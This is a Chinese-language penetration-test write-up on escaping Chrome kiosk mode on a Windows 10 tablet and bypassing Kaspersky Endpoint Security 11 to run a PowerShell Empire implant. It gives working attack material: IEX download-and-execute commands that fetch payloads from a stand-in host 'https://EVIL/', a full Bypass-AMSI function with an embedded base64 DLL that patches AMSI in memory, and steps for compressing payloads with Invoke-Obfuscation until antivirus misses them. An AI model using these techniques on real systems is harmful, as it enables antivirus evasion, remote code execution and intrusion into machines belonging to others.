如何绕过Kaspersky Endpoint Security 11

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一、前言

在最近一次实际操作中,我面对的是没有安装任何(渗透测试)工具的一台Windows平板电脑,我的任务是测试其安全性以及我能入侵的深度。我有自己的笔记本电脑,但不能直接将其接入内部网络中。然而如果我成功入侵了目标平板,就可以将自己的主机作为C2服务器。长话短说,由于我需要绕过反病毒软件,因此获得初始shell比搞定网络环境更加困难。

 

二、实验环境

1、目标平板安装了打全补丁的Windows 10系统

2、平板上安装最新版的Kaspersky Endpoint Security 11(KES11)

3、平板上安装了运行在kiosk/PoS模式的Google Chrome

4、C2上运行Powershell Empire监听程序

 

三、信息收集

因此,现在目标平板的Chrome运行在kiosk/PoS模式,并且(几乎)所有的Windows快捷键都会被拦截,如WIN+R,、ALT+TAB、 CTRL+P以及ALT+SPACE等,大家可以参考“Kiosk/POS Breakout Keys in Windows”这篇文章了解更多内容。

然而,浏览器并没有禁止我们使用CTRL+N快捷键打开新页面,因此现在我们可以打开新页面访问互联网,非常好。我转到URL栏,使用file://来下载并打开cmd.exe

我并没有火急火燎使用刚弹出来的终端,而是尝试点击已下载文件的file location链接,想使用Windows Explorer,通过GUI方式访问文件及共享。然而我们的操作被系统拒绝,可能是因为目标设置了某些GPO策略。

再次回到终端:

1、我枚举了目标系统的文件及共享,并没有发现有趣的信息;

2、运行wmic product get name, version命令来枚举已安装的软件及软件版本;

3、运行wmic qfe命令获取系统已安装补丁情况;

4、运行net user my_user /domain命令(my_user为域用户,模拟内网攻击);

5、运行whoami /priv获取我当前的权限。

以上操作并没有得到可以直接利用的点,不能快速搞定目标。目前我掌握的是不具备管理员权限的一个域用户,并且该用户所属的组附加了许多限制性GPO设置。目标上安装了AV产品,包括Kaspersky Endpoint Security 11.0.0.6499版以及Windows Defender。

 

四、百转千回终成功

我的目标之一就是绕过AV,将Empire后门注入目标系统,然后继续前进。由于这并不是一次红方行动,并且时间有限,因此我并没有复制目标平板的环境进行测试。我首先利用一个加密渠道,通过Powershell的IEX (New-Object Net.Webclient).downloadstring("https://EVIL/hello_there")命令下载Empire Powershell启动程序,然而这个操作并没有被AV拦截,而是先被防火墙拦截,可能是因为防火墙会检查SSL数据。因此,我的payload不仅要能在内存中执行,至少还需要能通过防火墙的拦截。

压缩及内存patch

现在目标平板上安装了Windows Defender,并且让KES11负责大多数反恶意软件扫描任务。然而,我发现KES11使用了AMSI接口来检测基于脚本的攻击,这是比较麻烦的一件事。实际上,卡巴斯基在官网上提到了AMSI技术,但只在Kaspersky Security for Windows Server页面中提到如下一段话:

(该产品)支持AMSI接口。利用Microsoft Windows上集成的AMSI技术,我们可以提升服务器端拦截脚本启动的能力。(通过这种方法)我们改善了脚本监控任务的稳定性,检测到威胁后能进行拦截,降低应用程序对当前环境的影响,极大扩展了任务范围:现在脚本监控组件不仅能处理JS以及VBS文件中的脚本,也能处理PS1文件。当Microsoft Windows Server 2016或更高版本服务器上安装脚本监控组件后,我们就可以使用相应功能。

我的一位小伙伴最近分享了一篇很赞的文章(“Bypass AMSI and Execute ANY malicious powershell code”)(安全客已有此篇文章,文中介绍了如何通过DLL文件在内存中patch AMSI(Anti Malware Scan Interface,反恶意软件扫面描接口),无需提升权限就能绕过/禁用AMSI。

考虑到这一点后,我们首先需要绕过流量监控,这里我们可以使用Invoke-Obfuscation,只需压缩处理Empire payload若干次就能绕过流量监控。

首先,我们提取由Empire生成的launcher.bat文件中的base64数据,解压这段数据后,将其发送至Invoke-Obfuscation。为了完成该任务,我们可以运行set SCRIPTBLOCK our_empire_base64decoded_payload命令:

然后运行若干次COMPRESS\1命令来压缩我们的payload:

然后我们就可以成功下载该文件并使用IEX将其载入内存中。然而现在虽然我们绕过了流量监控,但AV开始拦截我们payload的执行(这一点并不意外)。

经过研究后,我发现在AMSI检查脚本之前,KES11的启发式检测机制或者基于签名的检测机制首先会处理我们的payload。最终我将payload压缩了4次,成功绕过了AV,但仍会被AMSI检测:

接下来我们需要的做的就是禁用AMSI。我在一个Web服务器上托管了如下代码,然后使用IEX将其下载到目标平板中:

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9w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")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

来源:Bypass AMSI and Execute ANY malicious powershell code

接着执行IEX (New-Object Net.Webclient).downloadstring("https://EVIL/amsi")命令,再执行Bypass-AMSI

成功执行

现在我们的payload已经压缩过4次,并且禁用了AMSI,我们可以下载payload并在内存中执行该payload:

IEX (New-Object Net.Webclient).downloadstring("https://EVIL/compressed4.txt")

如上图所示,我们可以看到payload压缩3次后还会被KES11检测到,但第4次压缩后就可以绕过AV,并且此时由于AMSI处于禁用状态,因此我们可以成功执行payload:

大功告成!

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